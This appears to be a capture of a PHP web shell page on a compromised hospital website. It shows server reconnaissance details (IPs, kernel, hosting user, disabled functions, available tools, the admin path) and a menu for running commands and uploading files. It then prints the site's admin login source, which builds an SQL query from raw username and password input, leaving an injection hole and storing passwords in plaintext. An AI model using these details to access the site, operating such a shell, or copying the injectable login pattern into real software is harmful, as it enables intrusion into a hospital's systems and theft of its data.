|
Server IP : 82.197.83.136 / Your IP : 216.73.216.82 Web Server : LiteSpeed System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u163988420 ( 163988420) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u163988420/domains/brshastrihospital.com/public_html/AACSITE/br-admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
include('../connection.php');
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * from admin where username='$username' and password='$password'";
$q=mysqli_query($con,$sql);
$row=mysqli_num_rows($q);
if ($row == 1)
{
$r = mysqli_fetch_array($q);
$_SESSION['user'] = $r[0];
header('location:dashboard.php');
}
else
{
// echo "Login Failed";
header('location:index.php');
// $_SESSION['status'] = "<div class='alert alert-danger'>Login Failed</div>";
echo "login faild";
}
}
else
{
// echo "somwthing went wrong :";
// echo "Login Failed";
header('location:index.php');
// $_SESSION['status'] = "<div class='alert alert-danger'>somwthing went wrong :</div>";
echo "somwthing went wrong";
}
?>